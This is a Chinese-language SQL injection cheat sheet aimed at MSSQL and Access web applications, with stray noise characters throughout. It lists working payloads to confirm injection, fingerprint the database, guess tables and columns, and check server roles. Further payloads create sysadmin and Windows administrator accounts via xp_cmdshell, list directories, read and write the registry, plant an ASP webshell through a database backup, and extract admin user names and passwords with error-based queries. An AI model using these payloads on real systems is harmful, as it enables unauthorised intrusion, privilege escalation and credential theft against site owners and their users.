1.判断是否有注入
2 w& q: C* E; ?$ l0 [;and 1=1
4 a' R" _2 Y' C3 X) S;and 1=2
: G6 p5 _' T( O' X+ \9 F/ d! Q& [
! w; G8 P# T; D/ _) r9 B2.初步判断是否是mssql % A( ]7 B7 ~4 e4 t/ E6 h8 y. c
;and user>0
& W8 u0 r9 @% W/ ~) ?3 C
; Q7 r! q& E v, \1 t3 {3.判断数据库系统 : C6 x7 D$ W5 N# G V
;and (select count(*) from sysobjects)>0 mssql 3 V$ i4 O8 {* a w% ?" S* s
;and (select count(*) from msysobjects)>0 access
* p4 k- G5 _: Q1 y9 Q) f; P7 M8 C3 [3 G$ p4 B$ B' P8 F
4.注入参数是字符
: d8 G% g: N$ R'and [查询条件] and ''=' , Z+ M. [6 q* g8 R/ I9 V+ `4 M* L
2 G8 l; O1 A. k; [( y- O* X
5.搜索时没过滤参数的
7 ^$ ~( o/ Y! U$ F, Z4 x'and [查询条件] and '%25'='
. b6 A3 O" X9 Q" R' V; A4 l- P- s
6.猜数表名 0 T* W3 F$ F# q( q
;and (select Count(*) from [表名])>0
$ i2 A) B4 D0 I1 q
; ?* v0 D& I, f0 z7.猜字段 ; i5 S+ v, s. g1 C
;and (select Count(字段名) from 表名)>0
3 Q- n( R ~7 K" u- Z7 L* y" g6 u7 S; b) _4 K# n
8.猜字段中记录长度 V, C# M" Q+ D" H5 U+ j
;and (select top 1 len(字段名) from 表名)>0 & R; Y" x4 C) h) u+ q5 V9 w+ ] p
( I. Z8 Q. o h
9.(1)猜字段的ascii值(access)
; H& q' R: Q0 v) Y) p;and (select top 1 asc(mid(字段名,1,1)) from 表名)>0 - j A2 k* p/ p6 ^+ R5 J9 z
3 O* {( |& ]7 Y3 o5 X5 A
(2)猜字段的ascii值(mssql)
; ?' w/ m [- n" {7 u3 O;and (select top 1 unicode(substring(字段名,1,1)) from 表名)>0
* C/ }1 F4 X8 P) t2 t! Z; j# V
# m2 |$ P2 N( B4 F8 s5 y8 _8 K10.测试权限结构(mssql)
6 j3 Q v+ e& I4 g+ ^+ Q;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- 4 x2 }2 ?5 L2 T. x/ v! @4 a
;and 1=(select IS_SRVROLEMEMBER('serveradmin'));--
) S, ~1 @8 [% G( a% Y! [;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- - J! D6 j3 x2 `& S: `
;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- * i; n/ S& Y. |- d
;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- 7 E( D1 w( e# R, b/ i! r8 d
;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));--
t+ t u3 [2 z;and 1=(select IS_MEMBER('db_owner'));-- * X) D6 [4 A0 c2 ?" J
. ^# X4 ]* t( l, r6 V
11.添加mssql和系统的帐户 1 u8 U' l$ P$ S* B
;exec master.dbo.sp_addlogin username;--
6 C4 \7 s7 l* {' q; [3 l;exec master.dbo.sp_password null,username,password;--
9 `! e- f/ {+ ~4 x$ @5 [- F! u;exec master.dbo.sp_addsrvrolemember sysadmin username;--
/ W ]2 X4 f# d* w- N0 J4 p;exec master.dbo.xp_cmdshell 'net user username password /workstations:* /times:all /passwordchg:yes /passwordreq:yes /active:yes /add';--
' _+ p0 @- X, Q/ W5 ?;exec master.dbo.xp_cmdshell 'net user username password /add';-- * A9 B4 }/ N- l" A# n% G( H3 w4 L
;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- # R; p7 a3 o+ _9 ^
0 h" { v9 h) j8 p9 O! T
12.(1)遍历目录 ' N9 ?& H; J* Q1 M
;create table dirs(paths varchar(100), id int)
/ W1 Q6 A8 J) S( a& Y/ e. g;insert dirs exec master.dbo.xp_dirtree 'c:\' 2 [8 P5 L- d# Q% ?# L/ J1 V ?; e# D5 ?
;and (select top 1 paths from dirs)>0 + w( c; z! J8 M ^" S
;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>) 7 v) y# z# d* n) ]+ a
$ l+ K8 {- a, |) ~% u" }4 c2 W(2)遍历目录 5 n, t3 f8 ~$ z
;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));--
! B! c. b7 a) b+ ~8 A# ?;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器
$ C T/ j* C3 A, ?! q% R) M;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表
2 ]. F) a+ e) R" [* }7 O0 @8 x;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树结构 " y7 o+ W: l. |2 o" _( W9 x9 a
;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 4 l7 _ S" f! R
1 l- i; K0 i. h. S" d
13.mssql中的存储过程 % u" T* q3 V, V, l- t& t1 j
xp_regenumvalues 注册表根键, 子键
; {3 I' Y' _) G6 { s; ?2 e;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 8 y& r* F# K9 }, r8 ?
xp_regread 根键,子键,键值名 : C+ f! p* `/ V! G) n
;exec xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值
5 q' d% i8 M3 s: n$ Pxp_regwrite 根键,子键, 值名, 值类型, 值
" y8 @0 o. @" s* A7 T值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型
1 L- K a1 p$ F% T& z;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestvalueName','reg_sz','hello' 写入注册表 7 J+ \. b( ` a \, h% n
xp_regdeletevalue 根键,子键,值名 $ ?& [9 e' ^; \# `9 w
exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestvalueName' 删除某个值
, U( n( A* E/ r6 D F* k9 _$ gxp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值
1 P/ i5 f/ n& b( h( ~1 @/ t/ {. [6 N
14.mssql的backup创建webshell 9 d5 S9 M) E' j5 y% n4 B& e
use model 3 R7 @: \7 C2 Z x. M( a o# Y
create table cmd(str image);
" d/ K, K1 u3 [& K0 b4 `& V Qinsert into cmd(str) values ('<% Dim oScript %>');
( T3 L3 \8 u8 Y |3 f f+ obackup database model to disk='c:\l.asp';
' S7 X! D; j' N" O% Y% T
8 `0 L$ n; @$ \2 f15.mssql内置函数
: U/ G) b: ^: }& s; O;and (select @@version)>0 获得Windows的版本号
" t# |! h/ k- c6 s, P+ a9 A% O;and user_name()='dbo' 判断当前系统的连接用户是不是sa
1 a, L( [2 I! w1 N0 R;and (select user_name())>0 爆当前系统的连接用户 ( b& t8 R3 c, S% ?& V5 ]
;and (select db_name())>0 得到当前连接的数据库
/ R6 F$ Q, P# W0 ]$ e6 ~9 D# \. X& z l ^
3 f' S. z+ P9 A" b4 G
6 n1 s8 w! a% w' A$ Q
MSSQL手注暴库$ W; W0 K9 z, L% f& c- q
2 ?: }# }" Y. u
1.暴出当前表名和列名$ p( n( ?2 P8 i, Z/ x, N0 _' o
在注入点后提交“'having 1=1--",得到返回信息为英文,在这段英文中即可看到一个表名和一个列名。提交“group by 暴出的表名列名having 1=1--",可得到另一个列名;继续提交“group by 暴了的表名列名,暴出的表名.第2个列名 having 1=1--",可再得到一个列名。用同样的方法提交,直到页面不再返回错误信息,就可以得到所有的列名。小知识:暴表名与列名是在SQL语句中“having 1=1—"与GROUP BY结合使用,进行条件判断的。由于语句不完整,因此数据库返回错误信息,并显示一个表名和一个列名。基本方法只能暴出数据库中的当前表,如果某个表中包含的列名非常多,用上基本方法就非常困难了。 Z# D# n5 }" G2 g( f1 B7 Y
9 M/ m; \$ e$ q( k2 n9 |. l5 f( F# q第一.爆出所有数据库名
, d" G% O9 r( S/ I- Z利用“and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=[N])"语句,暴出数据库中任意表名和列名,其中“[N]"表示数据库中的第N个表。8 O2 C* w9 _. i" u, T
第一步:在注入点后提交如下语句:“and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=12)",因为 dbid 的值从1到5,是系统使用的,所以用户自己建的一定是从6开始的,并且我们提交了 name>1,name字段是一个字符型的字段,和数字比较会出错因此在提交后,IE会返回如下的信息:“Microsoft OLE DB Provider for ODBC Drivers 错误 ?e07' [Microsoft][ODBC SQL Server Driver][SQL Server]将 nvarchar 值 'Northwind' 转换为数据类型为 int 的列时发生语法错误。",这样就把name字段的值暴出来了,也就是我们得到了一个库名“Northwind"。改变“dbid"的值可以得出所有的库名。4 t! M: ?' \+ I' H$ U2 k
1 H8 M; F2 `3 t8 o1 E- n! ^
and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=[N])-- 修改N从6开始爆出所有数据库名
% k$ U1 Q7 m" \/ O7 q. b2 M8 ]2 X
/ Z6 U5 g- T$ m
第二.爆出指定库中的所有表名
) @$ r, ]: t8 o: S( x得到了库名后,现在要得到库中所有的表名,提交如下语句:"and 0<>(select top 1 name from master.dbo.sysobjects where xtype='U') ",这里要暴的是master这个库中的表名,查询的SQL语句返回的是name的值,然后和数字0比较,这样就会暴露出name的值。提交后一个表名为“'spt_monito"就被暴出来了。, C$ F9 n( I" k* ?9 y
再接着暴其他的表,继续提交如下语句:“and 0<>(select top 1 name from master.dbo.sysobjects where xtype='U' and name not in('spt_monito'))"提交后,又暴出一个表名为"cd512"。依次提交"and name not in(' spt_monito',' cd512',..))"就可以查出所有的表名。
- C2 m+ i% q3 ^+ A7 K; B: _" h% K
! Q, O- j l% aand 0<>(select top 1 name from [指定库名].dbo.sysobjects where xtype='U')--
" h! o9 x# b* i3 w- Tand 0<>(select top 1 name from [指定库名].dbo.sysobjects where xtype='U' and name not in('[爆出的表名]'))--* X0 _( \$ J( n* k
and 0<>(select top 1 name from [指定库名].dbo.sysobjects where xtype='U' and name not in('[爆出的表名]','[爆出的第二表名]'))--* ?) z% i7 U# H" W4 y3 Q& `6 L
- a {: ?. o7 @( c- d4 [
4.爆出指定表中的所有列名3 F/ `3 S5 r+ ^% | d
and 0<>(select count(*) from bbs.dbo.sysobjects where xtype='U' and name='admin' and uid>(str(id)))
: u( s$ s; o8 {8 ~/ {6 D//把ID值转成字符型后再和一个整型值比较。ID号出来了。值为:949578421 name='表名'
. c# r5 _7 C* }% y7 u& n2 e# S; b
: z, e! l3 k* S7 O: D+ t; band 0<>(select top 1 name from wutong.dbo.syscolumns where id=949578421)-- 爆出admin表中的一个字段名1 x* h4 @- \5 u- Z8 }
9 r5 P. y8 H$ W, F再提交and 0<>(select top 1 name from wutong.dbo.syscolumns where id=949578421 and name not in('adduser'))-- . }- q7 b' H8 T+ n
依次提交"and name not in(' spt_monito',' cd512',..))"就可以查出admin表中的所有字段名。
& R3 f% e% e" ]$ ]* Z. G$ q- Q% x
- M! y$ M6 @" v* Y8 b; x% y$ b) a
$ x0 b/ E/ u7 X4 y$ }8 o. Q' ~and 0<>(select count(*) from [指定库名].dbo.sysobjects where xtype='U' and name='[要爆字段的表名]' and uid>(str(id)))-- 爆出要爆字段的表名id值' h+ W" a* P4 J
8 l3 d" i c* ]# P" gand 0<>(select top 1 name from [指定库名].dbo.syscolumns where id=爆出的id值)-- 爆出id值表中的一个字段名
3 u( ~0 d& g2 {: I+ b( e4 F* D; c6 o
and 0<>(select top 1 name from [指定库名].dbo.syscolumns where id=爆出的id值 and name not in('[爆出的字段名]'))-- 5 d3 u2 I: B+ Z, \; `
, a$ y5 d& r& p& i
% }- h* a5 h6 \0 A
) T7 p5 \9 K% ~5.读取指定表中的数据
9 `+ Z. c+ }! r: y" q+ @1 _' M" ^# H( V7 @: h
and 0<(select A_ID from wutong.dbo.admin where A_UserID>1)-- 爆出A_PWD的内容
; c. g: r$ _# }. c7 Z9 `2 |- @( P$ F0 A& ^2 G
and 0<(select [一个存在的字段] from [指定库名].dbo.[要查询的表名] where [要爆内容的字段名]>1)--: H* A) a# ^) h+ w4 z0 m- U4 F
' |( g: L" L9 s/ k4 |, L, ]9 U
and 0<(select A_ID from wutong.dbo.admin where A_PWD>1 and A_UserID='admin')-- 爆出admin的密码
+ |: @7 }9 v* X: Q9 v! t- F3 w+ ]! _/ A+ [1 N* Z
3 x* c) _& V' J# W/ land 0<(Select Top 1 A_UserID FROM admin where A_ID<>1)-- 爆出id<>1的管理员名字(fuhao)/ j% Q f- |' Z/ O2 S
. b' V+ m6 B9 D6 a
and 0<(Select Top 1 A_UserID FROM admin where A_ID <>1 and A_UserID <> 'fuhao')-- 爆出第二个管理员的名字 <>不等于(tuiguang)) q/ B, h* k7 C6 ]" o3 Y5 p
6 l Q5 D$ Z( Q* qand 0<(Select Top 1 A_UserID FROM admin where A_ID <>1 and A_UserID <> 'fuhao'and A_UserID <> 'tuiguang')--
' y5 w+ q' z" B" {, ], [
/ {4 l' y( g i# i知道了数据库的表名、列名后,可以利用“查询语句"读取数据库中的任意信息。例如要读取某个表中某列中的第N个数据,可提交语句:“and (Select Top 1 列名 FROM 表名 where id=[N])>1"( [N]代表列中的第N条数据),从IE返回信息中即可得知想要的数据。" b3 ]. J4 r& W- e
|